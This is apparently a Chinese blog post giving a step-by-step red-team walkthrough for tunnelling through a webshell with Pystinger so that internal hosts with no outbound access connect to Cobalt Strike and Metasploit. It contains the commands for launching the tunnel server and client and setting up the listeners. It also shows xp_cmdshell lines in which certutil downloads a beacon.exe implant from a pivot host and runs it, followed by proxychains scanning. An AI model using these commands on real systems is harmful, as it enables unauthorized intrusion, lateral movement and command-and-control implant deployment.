(毒刺)利用Pystinger Socks4上线不出网主机

(毒刺)利用Pystinger Socks4上线不出网主机

原文链接:https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
可参考:http://caidaome.com/?post=279

我们接着前两篇文章继续分享一篇利用Pystinger Socks4代理方式上线不出网主机的姿势,包括单主机和内网多台主机的两种常见场景!!!

项目地址:https://github.com/FunnyWolf/pystinger

**相关阅读:

**

1、利用MSF上线断网主机的思路分享

2、利用goproxy http上线不出网主机

0x01 测试环境

攻击机(Kali):192.168.56.101受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡受害机2(Data):192.168.186.4 - 断网机

0x02 Pystinger简单介绍

Pystinger由服务端webshellstinger_server和客户端stinger_client两部分组成,可通过webshell实现内网SOCK4代理及端口映射,支持php/jsp(x)/aspx三种代理脚本。

图片

webshell只负责流量转发,大部分建立连接及处理数据的工作由stinger_server完成,stinger_client则用于接收转发过来的流量数据以及与CS/MSF的listener建立TCP连接等。

大致原理如下图,更为详细的原理分析可阅读“奇安信安全服务”公众号中的“红队攻防实践:不出网主机搭建内网隧道新思路”一文进行学习了解。

图片

0x03 Pystinger上线不出网主机

我们先将Pystinger项目的服务端stinger_server.exe、proxy.aspx通过中国菜刀上传至目标磁盘可读写目录中,访问proxy.aspx返回UTF-8表示正常,接着执行以下命令启动服务端。

start C:\inetpub\wwwroot\stinger_server.exe 0.0.0.0

图片

**注:**作者提示不要直接运行D:/XXX/stinger_server.exe,因为这样可能会导致TCP断连。

将客户端stinger_client上传至Kali攻击机的tmp临时目录,然后再执行以下命令将Socks4的代理流量转发到我们Kali攻击机60000端口上,只要把-w参数替换为自己上传的代理脚本地址即可。

root@kali:/tmp# chmod 777 stinger_clientroot@kali:/tmp# ./stinger_client -w http://192.168.56.102/proxy.aspx -l 127.0.0.1 -p 60000

图片

场景1:单主机上线

已控主机为单主机,不出外网且仅允许访问目标Web的80端口。如遇这种场景时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填127.0.0.1,HTTP Port填60020

图片

场景2:多主机上线

已控主机为内网其中一台主机,双网卡(192.168.56.X为出网段,192.168.186.X为不出网段),在对不出网段中的其他内网主机进行横向移动上线时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填192.168.186.3,HTTP Port填60020

图片

配置好监听后生成一个可执行马儿,将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,再利用xp_cmdshell组件执行beacon.exe后即可成功上线,Pystinger客户端那边也收到了相关连接数据。

EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/beacon.exe C:\ProgramData\beacon.exe'EXEC master..xp_cmdshell 'C:\ProgramData\beacon.exe'

图片

图片

CobaltStrike监听设置

  • 单主机上线:CobaltStrike->Listeners->Add->127.0.0.1:60020

  • 多主机上线:CobaltStrike->Listeners->Add->192.168.186.3:60020

  • **注:**目标主机为双网卡时必须用不出网IP段的内网IP地址进行监听才能上线不出网主机;

上线至MSF的利用姿势

Kali攻击机上编辑/etc/proxychains.conf文件,底部添加一条socks4代理:127.0.0.1:60000,添加完成后先执行以下几条命令来验证下是否已经与不出网IP段通了?

root@kali:~# proxychains telnet 192.168.186.4 1433root@kali:~# proxychains curl http://192.168.186.4root@kali:~# proxychains nmap -sT -Pn 192.168.186.4[...SNIP...]

如果通了就再用proxychains来启动msfconsole,用不出网IP段的内网IP地址进行监听即可。原理大家都懂,就不实操截图了…。

root@kali:~# proxychains msfconsole -q[...SNIP...]
Socks4a 是一种 SOCKS 协议的变种,它允许用户通过代理服务器访问内部络的主机和服务。在使用 Socks4a 进行内扫描主机端口时,我们可以按照以下步骤进行: 1. 首先,需要准备一台可以访问代理服务器主机,这台主机可以是位于内或者外部络的机器。我们需要在该主机上配置好 Socks4a 代理,以便让我们可以使用此代理进行连接。 2. 接下来,我们需要选择一个可以进行扫描的目标主机或一组主机。通常,我们需要明确知道要扫描的主机的 IP 地址。 3. 通过配置代理服务器的设置,我们需要将扫描工具的流量路由到 Socks4a 代理服务器。这可以通过设置扫描工具或操作系统的络代理设置来实现。 4. 然后,使用端口扫描工具,例如 Nmap 工具,指定目标主机的 IP 地址和要扫描的端口范围。在 Nmap 命令中,可以通过添加 `-Pn` 参数来禁用主机的 Ping 操作,因为在内环境中有可能无法 Ping 通目标主机。 5. 在扫描过程中,工具将通过配置的 Socks4a 代理服务器向目标主机发送扫描请求。如果代理服务器已正确配置,并且目标主机处于局域中并可访问,那么扫描工具将能够获取目标主机的开放端口信息。 需要注意的是,在使用 Socks4a 进行内扫描主机端口时,必须具备合法的权限才能对内部络进行扫描。同时,为了维护络安全,应严格遵守相关规定,并获得所在络环境的授权。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值